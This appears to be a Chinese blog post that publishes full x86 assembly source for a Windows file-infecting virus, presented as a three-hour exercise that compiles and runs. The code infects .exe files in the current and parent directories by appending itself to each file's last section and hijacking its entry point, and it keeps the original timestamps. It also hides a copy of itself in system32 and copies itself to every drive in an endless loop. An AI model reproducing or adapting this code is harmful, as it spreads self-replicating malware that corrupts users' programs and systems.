感染文件病毒---很老的技术了
最近又要考试了,,哎,,无赖哦啊,,
花三个小时写了个病毒,编译运行没有问题,不要搞破坏。
.586
.model flat,stdcall
option casemap:none
.data
hello db "真刺激,呼呼<www.hi.baidu.com/charme000>",0
GMK db "感染成功",0
where_to_go dd 0
vir_size dd 0
.code
vir_start:
pushad
pushfd
call delta
delta: pop ebp
sub ebp,offset delta ;现在ebp指向delta标号
mov eax,DWORD ptr [ebp + offset return_to_host + 3h];return_to_host应该是返回一个后host ip
mov DWORD ptr [ebp + offset where_to_go],eax ; where——to——go这个标号处的程序应该接受一个host ip作为参数
mov eax,offset vir_end
sub eax,offset vir_start
mov DWORD ptr [ebp + offset vir_size],eax ;这个就是活的病毒的大小
mov esi,DWORD ptr [esp + 24h] ; pushad pushfd的大小 -> esi 指向返回点
call get_kernel_image_base
call find_main_apis
call find_extra_apis
;找到必要的东西后开始感染
call infect
mov eax,offset GMK
add eax,ebp
push 0
push eax
push eax
push 0
call [ebp + AMessageBoxA]
jmp exit_
;----------------------------------------------------------------------------------------------------------------------
infect:
jmp infect_ ; 这样写只是为了下面写一些必要的定义
exe_str db 0,0,0,0,0,0 ; 文件名,,是一个空的数组,,以后会动态的填充
search_handle dd 0
MAX_PATH equ 260 ;从 windows.inc 中查到的
FILETIME struct ;也是windows.inc中这样定义的
dwLowDateTime DWORD 0
dwHighDateTime DWORD 0
FILETIME ends
WIN32_FIND_DATA struct ;windows.inc
dwFileAttributes DWORD 0
ftCreationTime FILETIME <>
ftLastAccessTime FILETIME <>
ftLastWriteTime FILETIME <>
nFileSizeHigh DWORD 0
nFileSizeLow DWORD 0
dwReserved0 DWORD 0
dwReserved1 DWORD 0
cFileName BYTE MAX_PATH dup(0) ;offset 44d 重要
cAlternate BYTE 14 dup(0)
WIN32_FIND_DATA ends
find_data WIN32_FIND_DATA <>;定义这样的一个结构
current_directory BYTE MAX_PATH dup(0)
system_directory BYTE MAX_PATH dup(0)
module_name BYTE 100d dup(0)
system_directory_len dd 0
directory_count dd 0
upper_directory db "..",0
file_name_len dd 0
infect_:
;填充文件名
mov WORD ptr [ebp + offset exe_str],'.*'
mov WORD ptr [ebp + offset exe_str + 2],'xe'
mov BYTE ptr [ebp + offset exe_str + 4],'e'
;为CurrentDirectory弄出一个足够的大的缓冲区,都填充为0
mov eax,offset current_directory
add eax,ebp
mov ecx,MAX_PATH
add ecx,MAX_PATH
add ecx,100d
.while ecx > 0
mov BYTE ptr [eax],0
dec ecx
inc eax
.endw
;----------获取系统目录
push MAX_PATH
mov eax,offset system_directory
add eax,ebp
push eax
call [ebp + offset AGetSystemDirectoryA] ;调用这个函数返回的是系统目录需要的空间大小
mov DWORD ptr [ebp + offset system_directory_len],eax ;把这个大小保存了
;------------获取当前目录
mov eax,offset current_directory
add eax,ebp
push eax
push MAX_PATH
call [ebp + offset AGetCurrentDirectoryA]
;-------------获得自身模块句柄
push 0
call [ebp + offset AGetModuleHandleA]
mov ebx,eax ;句柄存放在ebx中
push 100d
mov eax,offset module_name
add eax,ebp
push eax
push ebx
call [ebp + offset AGetModuleFileNameA]
mov ebx,eax ;ebx里存放module_name的字节数
;-----------获得上述的一些路径是为了把我们的程序拷贝到system32里面
;-----创建一个新的文件名
;system32目录 + 我们的文件名!
mov eax,offset module_name
add eax,ebp ; now eax 指向文件名起始
add eax,ebx ; now eax 指向文件名结束的地方
xor ebx,ebx
@@:
dec eax
inc ebx
cmp BYTE ptr[eax],'\'
je exit_slash_loop ;倒了\的时候就停下来处理,否则是循环搜索,这里用rep也可以实现的,,这样也是可以的,呼呼
loop @B
exit_slash_loop:
mov DWORD ptr [ebp + offset file_name_len],ebx
mov ebx,offset system_directory
add ebx,ebp
add ebx,DWORD ptr [ebp + offset system_directory_len] ; ebx 指向 system_directory 的结束处
push esi;
push edi;
mov ecx,DWORD ptr [ebp + offset file_name_len]
mov esi,eax
mov edi,ebx
rep movsb ;这样以后,system_directory 里现在就是新的文件的路径
pop edi;
pop esi;
push 0
mov eax,offset system_directory
add eax,ebp
push eax
mov eax,offset module_name ;文件名+ 路径
add eax,ebp
push eax
call [ebp + offset ACopyFileA] ;现在就把文件拷贝到了system32里面了
;///////////////////////////////
mov eax,01h
or eax,02h
or eax,04h ;设置为只读
push eax
mov eax,offset system_directory
add eax,ebp
push eax
call [ebp + offset ASetFileAttributesA] ;设置文件的属性,,只读隐藏
;--------------------------------------------
xor ebx,ebx
directory_loop:
mov eax,offset find_data
add eax,ebp
push eax
mov eax,offset exe_str
add eax,ebp
push eax
call [ebp + offset AFindFirstFileA] ;找文件
mov DWORD ptr [ebp + offset search_handle],eax ;eax里是返回的句柄
cmp eax,-1 ; INVALID_HANDLE_VALUE
je exit_infection
;so we have a file_name in find_data
call infect_file
find_another:
mov eax,offset find_data
add eax,ebp
push eax
push DWORD ptr [ebp + offset search_handle]
call [ebp + offset AFindNextFileA]
cmp eax,0h
je exit_infection
call infect_file ;找到就感染嘛
jmp find_another ;感染完就再循环再找文件
exit_infection:
mov ebx,DWORD ptr [ebp + offset directory_count]
cmp ebx,03d
ja exit_all
mov eax,offset upper_directory ;上层目录 ‘..’
add eax,ebp
push eax
call [ebp + offset ASetCurrentDirectoryA]
mov ebx,DWORD ptr [ebp + offset directory_count]
inc ebx
mov DWORD ptr [ebp + offset directory_count],ebx
jmp directory_loop ;确保所有的都被感染到
exit_all:
xor ebx,ebx
mov DWORD ptr [ebp + offset directory_count],ebx
ret
;----------------------------------------------------------------------------------------------------------------------
infect_file: ;核心
jmp infect_file_ ;知识方便下面的定义
ex_file_attributes dd 0
ex_file_creation_time FILETIME <>
ex_file_last_access_time FILETIME <>
ex_file_last_write_time FILETIME <>
file_handle dd 0
file_mapping dd 0
map_of_file dd 0
file_size dd 0
size_of_memory dd 0
old_ip dd 0
image_base dd 0
file_align dd 0
raw_data_size dd 0
code_section dd 0
last_section dd 0
infect_file_:
;获取文件属性
mov eax,offset find_data
add eax,ebp
add eax,44d ;实际上时Cfilename
push eax
call [ebp + offset AGetFileAttributesA]
mov DWORD ptr [ebp + offset ex_file_attributes],eax
cmp eax,0FFFFFFFFh ;这是最极端的属性组合
je exit_infecting_a_file
;继续感染
;擦除属性
push 80h ;FILE_ATTRIBUTE_NORMAL
mov eax,offset find_data
add eax,ebp
add eax,44d
push eax
call [ebp + offset ASetFileAttributesA]
cmp eax,0h
je exit_infecting_a_file
;打开它。。OPEN_EXCITING
push 0
push 0
push 3
push 0
push 1
push 80000000h or 40000000h
mov eax,offset find_data
add eax,ebp
add eax,44d
push eax
call [ebp+offset ACreateFileA]
mov DWORD ptr [ebp + offset file_handle],eax
cmp eax,-1 ;无效句柄
je exit_infecting_a_file
;获得一些时间参数
mov eax,offset ex_file_last_write_time
add eax,ebp
push eax
mov eax,offset ex_file_last_access_time
add eax,ebp
push eax
mov eax,offset ex_file_creation_time
add eax,ebp
push eax
mov eax,offset file_handle
add eax,ebp
push eax
call [ebp + offset AGetFileTime]
;映射下文件 这次映射只是为了获取文件偏移
push 0
push 0
push 0
push 4
push 0
push DWORD ptr [ebp + offset file_handle]
call [ebp + offset ACreateFileMappingA]
mov DWORD ptr [ebp + offset file_mapping], eax
cmp eax, 0
je exit_infecting_a_file
;g获取文件大小
push 0
push DWORD ptr [ebp + offset file_handle]
call [ebp + offset AGetFileSize]
mov DWORD ptr [ebp + offset file_size],eax
cmp eax,0
je exit_infecting_a_file
;映射文件到内存
push 0
push 0
push 0
push 2
push DWORD ptr [ebp + offset file_mapping]
call [ebp + offset AMapViewOfFile]
mov DWORD ptr [ebp + offset map_of_file],eax
cmp eax,0
je exit_infecting_a_file
mov esi,DWORD ptr [ebp + offset map_of_file]
;获取文件偏移
mov eax,esi
add eax,03ch ;看PE结构就明白了
add esi,DWORD ptr [eax]
mov eax,DWORD ptr [eax] ; 文件偏移
mov ebx,DWORD ptr [ebp + offset file_size]
add ebx,DWORD ptr [ebp + offset vir_size]
add ebx,1000h ;多弄出点空间来
;对齐下
mov esi,0
xor edx,edx
@@: add edx,eax ; add file alignment
cmp edx,ebx ; 小雨总的大小
jb @B
;现在就用获取的这个大小值来映射把
mov DWORD ptr [ebp + offset size_of_memory],edx
push DWORD ptr [ebp + offset map_of_file]
call [ebp + offset AUnmapViewOfFile]
push DWORD ptr [ebp + offset file_mapping]
call [ebp + offset ACloseHandle]
;再映射一次
push 0
push DWORD ptr [ebp + offset size_of_memory] ;文件大小 + 病毒大小 + 1000h + 空闲字节
push 0
push 4
push 0
push DWORD ptr [ebp + offset file_handle]
call [ebp + offset ACreateFileMappingA]
mov DWORD ptr [ebp + offset file_mapping], eax
cmp eax, 0
je exit_infecting_a_file
push DWORD ptr [ebp + offset size_of_memory]
push 0
push 0
push 2
push DWORD ptr [ebp + offset file_mapping]
call [ebp + offset AMapViewOfFile]
mov DWORD ptr [ebp + offset map_of_file],eax
cmp eax,0
je exit_infecting_a_file
mov esi,DWORD ptr [ebp + offset map_of_file]
mov ax,'ZM'
cmp WORD ptr [esi],ax ;检测合法性
jne exit_infecting_a_file
mov eax,esi
add eax,30h
add eax,8h
cmp WORD ptr [eax],'90' ;38h处事隔无关紧要的区域,所以放个90来做标记
jne continue
jmp exit_infecting_a_file
continue:
mov WORD ptr [eax],'90' ; 标记,,表示感染了已经
add esi,DWORD ptr [esi + 3Ch] ;esi = PE header
mov ax,'EP'
cmp WORD ptr [esi],ax ;检测PE有效性
jne exit_infecting_a_file
mov eax, DWORD ptr [esi + 40d] ; 获取旧的入口点
mov DWORD ptr [ebp + offset old_ip],eax
mov ebx, DWORD ptr [esi + 52d]; image base
mov DWORD ptr [ebp + offset image_base],ebx
add eax,ebx ; VA
mov DWORD ptr [ebp + offset return_to_host + 3h],eax ;相当于是一个回调函数,就是说我们要跳转到哪里
mov eax,DWORD ptr [esi + 3ch] ;对齐
mov DWORD ptr [ebp + offset file_align],eax
movzx eax,WORD ptr [esi + 6h] ;节的数目
dec eax ;找到最后一个节
mov edx,20h
add edx,8h ;上面这个28h不是一定的,不是所有的机器上面都是加这个数值,有时候得手工测试,呼呼,比较麻烦哈
mul edx ; 结果存放在eax,,,eax = 最后一个节相对于节表的偏移
movzx ebx,WORD ptr [esi + 20d] ;可选头的大小
;Pe header offset + 22 (IMAGE_FILE_HEADER) + size of optional header + (num of sections-- ) * 28h(size of a section header) =
;=last sections beginning 就是找到最后一个节
push esi ;后面要用到esi
mov ecx,esi
add ecx,20d
add ecx,4d
add ecx,ebx
add ecx,eax
mov esi,ecx ;这样就把指针移动到了最后一个节的偏移处,,greate
mov DWORD ptr [ebp + offset last_section],esi
mov ebx,esi
sub ebx,eax ; offset of the first sections begining in the section table
mov DWORD ptr [ebp + offset code_section],ebx
mov eax,esi
add eax,20h
add eax,4h ;这里就指倒了设置属性的成员那里
or DWORD ptr [eax],0A0000020h ;r w e 权限
mov ebx,DWORD ptr [esi + 10h] ; SizeOfRawData
mov DWORD ptr [ebp + offset raw_data_size],ebx
mov eax,DWORD ptr [esi + 14h] ;PointerToRawData of section (文件偏移)
add eax,ebx ; 最后一个节末尾的文件偏移
add eax,DWORD ptr [ebp + offset map_of_file] ;我们写的代码存放的内存偏移
mov edi,eax ;以后拷贝用
mov eax,DWORD ptr [ebp + offset file_align]
mov ebx,DWORD ptr [ebp + offset raw_data_size]
add ebx,DWORD ptr [ebp + offset vir_size] ; EBX = 最后一个节的Size of raw data + VirusSize
xor edx,edx
@@:
add edx,eax
cmp edx,ebx
jbe @B
mov eax,esi
add eax,10h
mov DWORD ptr [eax],edx ; 新的相对于文件偏移的raw data的大小
sub eax,08h
mov DWORD ptr [eax],edx ;新Virtual size
add eax,08h
mov eax,DWORD ptr [eax] ; EAX = 新SizeOfRawData
mov ecx,esi
add ecx,0Ch
add eax,DWORD ptr [ecx] ; EAX = 新SizeOfRawData+VirtualAddress ;以上就实现了重新定位
;-------把eip指到我们病毒的eip------------------------------ ecx =病毒的 RVA!!!
mov ecx,DWORD ptr [esi + 12d] ; 最后一个节的RVA
add ecx,DWORD ptr [ebp + offset raw_data_size] ;变成我们病毒的RVA :)
pop esi
mov eax,esi
add eax,20h
add eax,8h
mov DWORD ptr [eax] , ecx ;改变指针
;--------------------------------------------------------------------------------
mov ecx,DWORD ptr [ebp + offset raw_data_size]
sub edx,ecx
mov ebx,DWORD ptr [esi + 56d] ; section alignment
mov eax,DWORD ptr [esi+50h] ;size of image
add eax,edx ; sizeofimage + aligned size
xor ecx,ecx
@@:
add ecx,ebx
cmp ecx,eax
jb @B
mov DWORD ptr [esi+50h],ecx ; new size of image
mov esi,offset vir_start
add esi,ebp
mov ecx,DWORD ptr [ebp + offset vir_size]
rep movsb
push 0
mov eax,offset hello
add eax,ebp
push eax
push eax
push 0
call [ebp + offset AMessageBoxA]
exit_infecting_a_file:
;更新时间
mov eax,offset ex_file_last_write_time
add eax,ebp
push eax
mov eax,offset ex_file_last_access_time
add eax,ebp
push eax
mov eax,offset ex_file_creation_time
add eax,ebp
push eax
mov eax,offset file_handle
add eax,ebp
push eax
call [ebp + offset ASetFileTime]
;更新属性
mov eax,DWORD ptr [ebp + offset ex_file_attributes]
push eax
mov eax,offset find_data
add eax,ebp
add eax,44d
push eax
call [ebp + offset ASetFileAttributesA]
cmp eax,0h
je bye_
;关闭文件,释放映射
cmp DWORD ptr [ebp + offset file_handle],-1
je bye_
push DWORD ptr [ebp + offset file_handle]
call [ebp + offset ACloseHandle]
cmp DWORD ptr [ebp + offset map_of_file],0h
je bye_
push DWORD ptr [ebp + offset map_of_file]
call [ebp + offset AUnmapViewOfFile]
bye_:
ret
;----------------------------------------------------------------------------------------------------------------------
find_extra_apis:
jmp load_
user32 db "user32.dll",0
SMessageBoxA db "MessageBoxA",0
AMessageBoxA dd 0
load_:
mov eax,offset user32
add eax,ebp
push eax
call [ebp + offset AGetModuleHandleA]
cmp eax,0h
jne load_message_box ;如果这里没有加载user32的话我们就的手工加载,所以下面就要有一个独立处理加载的子程序
mov eax,offset user32
add eax,ebp
push eax
call [ebp + offset ALoadLibraryA]
cmp eax,0
je exit_
load_message_box:
mov ebx,offset SMessageBoxA
add ebx,ebp
push ebx
push eax ; user32.dll
call [ebp + offset AGetProcAddress]
cmp eax,0h
je exit_
mov DWORD ptr [ebp + offset AMessageBoxA],eax
ret
;----------------------------------------------------------------------------------------------------------------------
get_kernel_image_base: ;esi指向内核地址空间
;返回kernel_base_address放在eax中
mov ecx,esi ; kernel address
jmp start_getting
k32 dd 0
start_getting:
cmp DWORD ptr [esi],'NREK'
je found_kernel_str
dec esi
loop start_getting
mov eax,0
ret
found_kernel_str:
cmp WORD ptr [esi],'ZM'
je return_
dec esi
loop found_kernel_str
mov eax,0
ret
return_:
mov DWORD ptr [ebp + offset k32],esi
cmp esi,0
je exit_
ret
;----------------------------------------------------------------------------------------------------------------------
find_main_apis: ;esi = imagebase of Kernel32
jmp get_kernel_pe_header
k32_export_table dd 0 ;VA
k32_name_table dd 0 ;VA
k32_name_counter dd 0
next_api_string dd 0
current_api_string dd 0
str_size dd 0
api_address_counter dd 0
api_strings:
SExitProcess db "ExitProcess",0
SGetProcAddress db "GetProcAddress",0
SGetModuleHandleA db "GetModuleHandleA",0
SGetModuleFileNameA db "GetModuleFileNameA",0
SLoadLibraryA db "LoadLibraryA",0
SGetWindowsDirectoryA db "GetWindowsDirectoryA",0
SGetSystemDirectoryA db "GetSystemDirectoryA",0
SGetCurrentDirectoryA db "GetCurrentDirectoryA",0
SSetCurrentDirectoryA db "SetCurrentDirectoryA",0
SCreateFileA db "CreateFileA",0
SCopyFileA db "CopyFileA",0
SCloseHandle db "CloseHandle",0
SCreateFileMappingA db "CreateFileMappingA",0
SMapViewOfFile db "MapViewOfFile",0
SUnmapViewOfFile db "UnmapViewOfFile",0
SFindFirstFileA db "FindFirstFileA",0
SFindNextFileA db "FindNextFileA",0
SSetFileAttributesA db "SetFileAttributesA",0
SGetFileAttributesA db "GetFileAttributesA",0
SGetFileTime db "GetFileTime",0
SSetFileTime db "SetFileTime",0
SGetFileSize db "GetFileSize",0
SSleep db "Sleep",0
SCreateMutexA db "CreateMutexA",0
SOpenMutexA db "OpenMutexA",0
SGetLogicalDriveStringsA db "GetLogicalDriveStringsA",0
SGetLogicalDrives db "GetLogicalDrives",0
SGetDriveTypeA db "GetDriveTypeA",0
dd 00000090h ;这个可不仅仅是定义一个nop啊,呼呼
api_addresses:
AExitProcess dd 0
AGetProcAddress dd 0
AGetModuleHandleA dd 0
AGetModuleFileNameA dd 0
ALoadLibraryA dd 0
AGetWindowsDirectoryA dd 0
AGetSystemDirectoryA dd 0
AGetCurrentDirectoryA dd 0
ASetCurrentDirectoryA dd 0
ACreateFileA dd 0
ACopyFileA dd 0
ACloseHandle dd 0
ACreateFileMappingA dd 0
AMapViewOfFile dd 0
AUnmapViewOfFile dd 0
AFindFirstFileA dd 0
AFindNextFileA dd 0
ASetFileAttributesA dd 0
AGetFileAttributesA dd 0
AGetFileTime dd 0
ASetFileTime dd 0
AGetFileSize dd 0
ASleep dd 0
ACreateMutexA dd 0
AOpenMutexA dd 0
AGetLogicalDriveStringsA dd 0
AGetLogicalDrives dd 0
AGetDriveTypeA dd 0
get_kernel_pe_header:
mov esi,DWORD ptr [ebp + offset k32] ;把kernel32的基址放在esi中
add esi,DWORD ptr [esi + 3Ch] ; PE header
mov esi,DWORD ptr [esi + 78h] ; export table RVA 128-B0=78
add esi,DWORD ptr [ebp + offset k32] ;VA
mov DWORD ptr [ebp + offset k32_export_table],esi ;加上基址后变成了实际的文件偏移
add esi,32d ;API名称的rva
mov esi,DWORD ptr [esi]
add esi, DWORD ptr [ebp + offset k32]
mov DWORD ptr [ebp + offset k32_name_table],esi
;开始next_api_string
mov DWORD ptr [ebp + offset next_api_string],offset api_strings
add DWORD ptr [ebp + offset next_api_string],ebp
api_loop:
mov esi,DWORD ptr [ebp + offset next_api_string]
cmp DWORD ptr [esi],00000090h ;看看是不是nop
je all_found
;从api_strings label里面获得一个string
mov DWORD ptr [ebp + offset k32_name_counter],0h ;reset name counter
mov esi,DWORD ptr [ebp + offset next_api_string]
xor ecx,ecx
mov DWORD ptr [ebp + offset current_api_string],esi
@@: cmp BYTE ptr [esi],0h
je @F
inc ecx
inc esi
jmp @B
@@:
mov DWORD ptr [ebp + offset str_size],ecx
inc esi
mov DWORD ptr [ebp + offset next_api_string],esi ; 下一个字符串
get_name_from_k32:
;获得一个名称
mov eax,DWORD ptr [ebp + offset k32_name_counter]
mov ebx,4h
mul ebx
add eax,DWORD ptr [ebp + offset k32_name_table]
mov eax,DWORD ptr [eax]
add eax,DWORD ptr [ebp + offset k32] ; 这个时候我们就获得了一个api,存放在eax里面
add DWORD ptr [ebp + offset k32_name_counter],1h ; 自加1
compare_two_names:
mov ecx,DWORD ptr [ebp + offset str_size]
mov edi,eax
mov esi,DWORD ptr [ebp + offset current_api_string]
@@:cmpsb
jne @F
loop @B
jmp calc_ordinal
@@:
jmp get_name_from_k32
calc_ordinal:
sub DWORD ptr [ebp + offset k32_name_counter],1h ; 当钱名称的缩影位置
mov ebx,2
mov eax,DWORD ptr [ebp + offset k32_name_counter]
mul ebx
mov esi,DWORD ptr [ebp + offset k32_export_table]
add esi,36d
mov esi,DWORD ptr [esi]
add esi,DWORD ptr [ebp + offset k32] ;索引表
add esi,eax ;我们找到的API的索引指针
movzx eax,WORD ptr [esi] ; 我们API的索引值
mov esi,DWORD ptr [ebp + offset k32_export_table]
add esi,28d
mov esi,DWORD ptr [esi]
add esi,DWORD ptr [ebp + offset k32] ; 通过索引找到的地址表
mov ebx,4h
mul ebx
add esi,eax
mov esi,DWORD ptr [esi]
add esi,DWORD ptr [ebp + offset k32]
mov eax,DWORD ptr [ebp + offset api_address_counter]
mov DWORD ptr [ebp + offset api_addresses + eax],esi
add DWORD ptr [ebp + offset api_address_counter],4h
jmp api_loop
all_found:
mov DWORD ptr [ebp + offset api_address_counter],0 ;这里一定要reset下,,
ret
exit_:
jmp exit__
mutex_name db "AnthraxA",0
drive_list BYTE 50d dup(0)
drive_list_counter dd 0
a_drv db "A:",0
b_drv db "B:",0
c_drv db "C:",0
d_drv db "D:",0
e_drv db "E:",0
f_drv db "F:",0
g_drv db "G:",0
h_drv db "H:",0
i_drv db "I:",0
j_drv db "J:",0
our_name BYTE 150d dup(0)
new_file db 0,0,0,"charme",0
auto_run db "[autorun]",13,10,"shellexecute=charme.exe",0
auto_fname db "autorun.inf",0
exit__:
;打开mutex,如果没有这个名字的互斥体就在DriverString里面搜索
mov eax,offset mutex_name
add eax,ebp
push eax
push 1
push 1F0001h
call [ebp + offset AOpenMutexA]
cmp eax,0
jne break_infite
;创建互斥
mov eax,offset mutex_name
add eax,ebp
push eax
push 1
push 0
call [ebp + offset ACreateMutexA]
;--------------
infinite_loop:
mov eax,offset drive_list
add eax,ebp
push eax
push 50d
call [ebp + offset AGetLogicalDriveStringsA]
xor ecx,ecx
.while ecx < 50d
mov ecx,DWORD ptr [ebp + offset drive_list_counter]
mov ebx,offset drive_list
add ebx,ebp
add ebx,ecx
push ebx
call [ebp + offset AGetDriveTypeA]
;drive type
cmp eax,0
je go_on__ ;复制自身
mov ecx,DWORD ptr [ebp + offset drive_list_counter]
mov ebx,offset drive_list
add ebx,ebp
add ebx,ecx
mov ecx,3d
mov esi,ebx
mov edi,offset new_file
add edi,ebp
rep movsb ;到此就获得了一个新的文件名
push 0
mov eax,offset new_file
add eax,ebp
push eax
mov eax,offset system_directory ; file name + path
add eax,ebp
push eax
call [ebp + offset ACopyFileA]
go_on__: ;当driver找不到的时候
mov ecx,DWORD ptr [ebp + offset drive_list_counter]
add ecx,4d
mov DWORD ptr [ebp + offset drive_list_counter],ecx
.endw
mov DWORD ptr [ebp + offset drive_list_counter],0h
jmp infinite_loop
;-------------------------------------------------------------------------------------------------------------
break_infite:
mov eax,DWORD ptr [ebp + offset where_to_go]
mov DWORD ptr [ebp + offset return_to_host + 3h],eax ; popad + popfd + 68h = 3 BYTEs
cmp ebp,0h
jne return_to_host
push 0
call [ebp + offset AExitProcess]
return_to_host:
popfd
popad
db 68h,0,0,0,0
ret
vir_end:
end vir_start
